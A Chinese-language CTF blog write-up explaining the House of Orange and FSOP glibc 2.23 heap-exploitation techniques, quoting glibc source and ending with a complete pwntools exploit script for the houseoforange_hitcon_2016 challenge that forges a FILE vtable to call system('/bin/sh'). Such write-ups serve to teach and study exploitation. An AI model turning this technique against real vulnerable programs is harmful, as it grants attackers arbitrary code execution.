House of Orange与FSOP

House of Orange与FSOP

我在网络上看到了很多关于houseoforange_hitcon_2016这道题的讲解,这道题往往都被作为House of orange和FSOP这两个技巧的典型例题,但是我认为这些博客有细节没有讲明白,对于我这种笨人来说看起来就很困难,所以干脆自己总结一下这两个技巧。

这道题的附件可以在BUUCTF上找到,例题讲解也有很多,我这里就以2.23的glibc的环境为例,着重讲一下这两个技巧。

在开始看这篇博客之前,我假定你已经对于pwn的堆利用已经有了一定的基础,且对于IO_FILE结构体的利用有所了解。如果你对这两者中的任意一个还是一无所知,我建议你先去看看ctf wiki或者我这个系列中的基础知识部分先补一补

当然,我这个鸽王肯定没有更新完基础知识系列(笑),大家莫急。

House of Orange

这个技巧达到的效果是:

实现在没有free的情况下把top chunk放进unsorted bin当中。

这个技巧需要的前置条件是:

我们可以实现堆溢出来修改top chunk的size域,且可以申请的内存块的大小能超过我们修改后的top chunk

我们知道,当申请的内存大小nb小于当前top chunk的size,且fast bin已经被清空时,程序就会通过sysmalloc来扩展堆段内存,这时原来的top chunk就会被抛弃掉,这里old top chunk的处理如下(其指针为old_top,大小为old_size):

if (old_size >= MINSIZE)
            {
              set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
              set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
              set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
              _int_free (av, old_top, 1);
            }
          else
            {
              set_head (old_top, (old_size + 2 * SIZE_SZ) | PREV_INUSE);
              set_foot (old_top, (old_size + 2 * SIZE_SZ));
            }

可以看到old top chunk其实就是相当于被free掉了(毕竟这时2.23,没有tcache,在main_arena中就相当于被free了)。

而之前还有一些检查:

  old_top = av->top;
  old_size = chunksize (old_top);
  old_end = (char *) (chunk_at_offset (old_top, old_size));

  brk = snd_brk = (char *) (MORECORE_FAILURE);

  /*
     If not the first time through, we require old_size to be
     at least MINSIZE and to have prev_inuse set.
   */

  assert ((old_top == initial_top (av) && old_size == 0) ||
          ((unsigned long) (old_size) >= MINSIZE &&
           prev_inuse (old_top) &&
           ((unsigned long) old_end & (pagesize - 1)) == 0));

  /* Precondition: not enough current space to satisfy nb request */
  assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));

可以看到要通过这些检查要有以下几条要求:

1.top chunk大小要大于MINSIZE。
2.前一个堆块是inuse状态,即size域P位为1(最后一位为1)
3.topchunk结尾处要实现页对齐(对齐0x1000)

这三个条件其实很好满速,稍微控制一下topchunk剩余大小,然后再堆溢出时只保留十六进制后三位就好了,比如0x203f1大小的topchunk,通过堆溢出改成0x3f1就ok了。只要不是在topchunk为0x??001这种时候去用这个技巧就ok。

这个时候,申请一个0x1000的堆块,原来的topchunk就会被扔进unsorted bin,返回来的内存是从新top chunk中切割出来的,这个一般没有什么利用价值。但是此时,如果我们的old top chunk是在large bin范围(这个概率极大,一般容易做到),我们再申请一个不等于old top chunk大小的内存,这时old top chunk就会先被扔进large bin,再被切割后返回给我们,这个切割返回的堆块里面就残留bk指针和fd_nextsize指针,如果有show功能,它就可供我们泄露libc基址和堆基址。

FSOP

前置知识回顾

想必大家对于这个结构并不陌生。

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

没错,这是linux下最全面的一个文件结构体。其中file是一个如下的结构:

struct _IO_FILE {
    int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
    #define _IO_file_flags _flags

    /* The following pointers correspond to the C++ streambuf protocol. */
    /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
    char* _IO_read_ptr;	/* Current read pointer */
    char* _IO_read_end;	/* End of get area. */
    char* _IO_read_base;	/* Start of putback+get area. */
    char* _IO_write_base;	/* Start of put area. */
    char* _IO_write_ptr;	/* Current put pointer. */
    char* _IO_write_end;	/* End of put area. */
    char* _IO_buf_base;	/* Start of reserve area. */
    char* _IO_buf_end;	/* End of reserve area. */
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */

    struct _IO_marker *_markers;

    struct _IO_FILE *_chain;

    int _fileno;

#if 0
    int _blksize;
#else
    int _flags2;
#endif
    _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
    /*  char* _save_gptr;  char* _save_egptr; */
    _IO_lock_t *_lock;

#ifdef _IO_USE_OLD_IO_FILE
};

struct _IO_FILE_complete
{
    struct _IO_FILE _file;
#endif

#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
    _IO_off64_t _offset;
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
    /* Wide character stream stuff.  */
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
#else
    void *__pad1;
    void *__pad2;
    void *__pad3;
    void *__pad4;
#endif
    size_t __pad5;
    int _mode;
    /* Make sure we don't get into trouble again.  */
    char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

这个东西很大,我们只要记住chain域——这个用来串联各个file结构成单向链表的指针——在0x68的偏移处就行了。

每一个IO_FILE_plus都有一个_IO_jump_t类型的vtable指针,指向一个虚表,里面有很多的函数指针。

struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

当调用相关的IO函数时,函数就会根据对应的IO流中的vtable指针,找到这个虚表,去调用相关的函数。

这个vtable指针在IO_FILE_plus结构的0xd8的偏移处。

对于一个linux进程,所有的IO_FILE结构都相互之间通过chain域链接,由一个单向链表维护。这个链表的表头就是IO_list_all这个指针。一般来说它指向_IO_2_1_stderr_这个符号。

_IO_flush_all_lockp

FSOP的要义,就是劫持IO_list_all这个指针来劫持程序执行流,让程序最终从一个伪造的file结构中取出伪造的虚表,在这个表中某个要被取出的函数指针处预先填上system或者onegadget来拿到shell。

(以下大致为CTF wiki原话)
这一系列的操作,我们希望通过_IO_flush_all_lockp这个函数来触发,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

而_IO_flush_all_lockp这个函数它不需要攻击者手动调用,在一些情况下这个函数会被系统调用:

  1. 当 libc 执行 abort 流程时

  2. 当执行 exit 函数时

  3. 当执行流从 main 函数返回时

源码我贴出来了,可以看到这个函数通过chain域遍历IO_list_all这个链表。

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  struct _IO_FILE *fp;
  int last_stamp;

#ifdef _IO_MTSAFE_IO
  __libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
  if (do_lock)
    _IO_lock_lock (list_all_lock);
#endif

  last_stamp = _IO_list_all_stamp;
  fp = (_IO_FILE *) _IO_list_all;
  while (fp != NULL)
    {
      run_fp = fp;
      if (do_lock)
	_IO_flockfile (fp);

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
	   || (_IO_vtable_offset (fp) == 0
	       && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
				    > fp->_wide_data->_IO_write_base))
#endif
	   )
	  && _IO_OVERFLOW (fp, EOF) == EOF)
	result = EOF;

      if (do_lock)
	_IO_funlockfile (fp);
      run_fp = NULL;

      if (last_stamp != _IO_list_all_stamp)
	{
	  /* Something was added to the list.  Start all over again.  */
	  fp = (_IO_FILE *) _IO_list_all;
	  last_stamp = _IO_list_all_stamp;
	}
      else
	fp = fp->_chain;
    }

#ifdef _IO_MTSAFE_IO
  if (do_lock)
    _IO_lock_unlock (list_all_lock);
  __libc_cleanup_region_end (0);
#endif

  return result;
}

_IO_overflow是虚表中第四个函数指针,我们到时候修改它就好。

运用unsorted bin attack

这里为什么突然提到了这个东西呢?

我们知道,unsorted bin attack可以实现修改一个指针的值为unsorted bin的地址,下面就是unsorted bin attack的核心。这里要注意,随着这个操作的完成,unsorted bin就会被我们破坏。

          /* remove from unsorted list */
          unsorted_chunks (av)->bk = bck;
          bck->fd = unsorted_chunks (av);

在已经泄漏了libc基址的情况下,如果有堆溢出或者UAF,我们可以轻而易举地借此修改IO_list_all指针。

okok,有人也许发现问题了,这个指针即便被劫持,也是劫持到了unsorted bin处(即bins数组的开头),这个位置我们做不到任意写。但是上面说了,_IO_flush_all_lockp会通过chain域对每个IO_FILE结构调用_IO_overflow,第一次调用是把bins表头处当做FILE结构,这个调用必然会失败,但是不会导致程序崩溃(原因不明,但是亲测不会崩掉)。这时就会找0x68偏移出的chain域。

unsorted bin往后0x68大致是small bin范围,这就是说我们只要能把布置好的堆块释放到其中就行了。

且慢!我们得弄清楚0x68偏移到底对应哪一个大小的堆块?是0x70吗?

事实并非如此,我们知道bins的每一个元素其实都是chunk类型,只是由于prev_size和size域没有启用,因此产生了折叠存储的方式来节省空间。因此,unsorted bin相关宏返回的bin头部指针,其实和真正拿来寻找bin中堆块的指针,还有0x10的偏移,因此,能用来布置fake_file的chunk,大小必须是0x60!

因此才有了以下的fake_file构造思路:

fake_file ='/bin/sh\x00'+p64(0x61)
fake_file+=p64(0)+p64(io_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,'\x00')
fake_file+=p64(fake_file_addr)
fake_file+=3*p64(0)
fake_file+=p64(system_addr)

用这个结构去篡改unsorted bin中最后的一个堆块(会最先取到的那个),然后随便申请一个内存块(尽量大一点避开0x60或者触发分割),让这个堆块进入到small bin中去,之后unsorted bin被破坏了,接下来会发生错误,触发_IO_flush_all_lockp,在第二次IO_OVERFLOW时,取的函数指针为system,传的参数为file结构体的指针,也就是这里的/bin/sh的地址,然后就会触发system(“/bin/sh”),这样我们就拿到shell了。

EXP

from pwn import *

context.terminal=['tmux','splitw','-h']
context.arch='amd64'
#context.log_level='debug'

r=process('/home/wjc/Desktop/houseoforange_hitcon_2016')
#r=remote('node4.buuoj.cn',28342)
libc=ELF('/home/wjc/Desktop/BUUCTF/libc/libc-2.23_64.so')

def cmd(idx):
    r.recvuntil('Your choice : ')
    r.sendline(str(idx))

def Add(size,content,price,color):
    cmd(1)
    r.recvuntil('Length of name :')
    r.sendline(str(size))
    r.recvuntil('Name :')
    r.send(content)
    r.recvuntil('Price of Orange:')
    r.sendline(str(price))
    r.recvuntil('Color of Orange:')
    r.sendline(str(color))

def Show():
    cmd(2)

def Edit(size,content,price,color):
    cmd(3)
    r.recvuntil('Length of name :')
    r.sendline(str(size))
    r.recvuntil('Name:')
    r.send(content)
    r.recvuntil('Price of Orange: ')
    r.sendline(str(price))
    r.recvuntil('Color of Orange: ')
    r.sendline(str(color))


Add(0x30,'aaa',0x1234,0xddaa)

pay1=0x30*'a'+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)+p64(0)+p64(0xf81)

Edit(len(pay1),pay1,666,0xddaa)

# gdb.attach(r,
#     '''
#     b*$rebase(0xda5)\n
#     c\n
#     vmmap\n
#     '''
#     )

Add(0x1000,'b\n',0x1234,0xddaa)
Add(0x400, 'a' * 8, 199, 2)
#gdb.attach(r)

Show()
r.recvuntil('Name of house : aaaaaaaa')
libcbase=u64(r.recv(6).ljust(8,'\x00'))-(0x7fbf95833188-0x7fbf9546e000)
io_list_all=libcbase+libc.symbols['_IO_list_all']
system_addr=libcbase+libc.symbols['system']
realloc_hook=libcbase+libc.symbols['__realloc_hook']

Edit(0x10,0x10*'b',199,2)

#gdb.attach(r,'b*$rebase(0x13D0)')

Show()
r.recvuntil('Name of house : ')
r.recvuntil(0x10*'b')
heapbase=u64(r.recv(6).ljust(8,'\x00'))-(0x55d010fad0e0-0x55d010fad000)


log.success("heapbase: "+hex(heapbase))
log.success("realloc_hook: "+hex(realloc_hook))


# payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
# fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
# fake_file += p64(0)+p64(io_list_all-0x10)
# fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
# fake_file = fake_file.ljust(0xc0,'\x00')
# fake_file += p64(0) * 3
# fake_file += p64(heapbase+0x5E8) #vtable ptr
# fake_file += p64(0) * 2
# fake_file += p64(system_addr)
# payload += fake_file
# Edit(len(payload), payload, 666, 2)

pay2=0x400*'a'+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk ='/bin/sh\x00'+p64(0x61)
fake_chunk+=p64(0)+p64(io_list_all-0x10)
fake_chunk+=p64(0)+p64(1)
fake_chunk=fake_chunk.ljust(0xd8,'\x00')
fake_chunk+=p64(heapbase+(0x55868211a5e8-0x55868211a000)+8)
fake_chunk+=3*p64(0)
fake_chunk+=p64(system_addr)
pay2+=fake_chunk

gdb.attach(r,'b*$rebase(0x13D0)')


Edit(len(pay2),pay2,199,2)


log.success("*** leak result ***")
log.success("libcbase: "+hex(libcbase))
log.success("heapbase: "+hex(heapbase))
log.success("_IO_list_all: "+hex(io_list_all))
log.success("realloc_hook: "+hex(realloc_hook))

cmd(1)

r.interactive()
posted @ 2023-01-29 22:07  Jmp·Cliff  阅读(151)  评论(0编辑  收藏  举报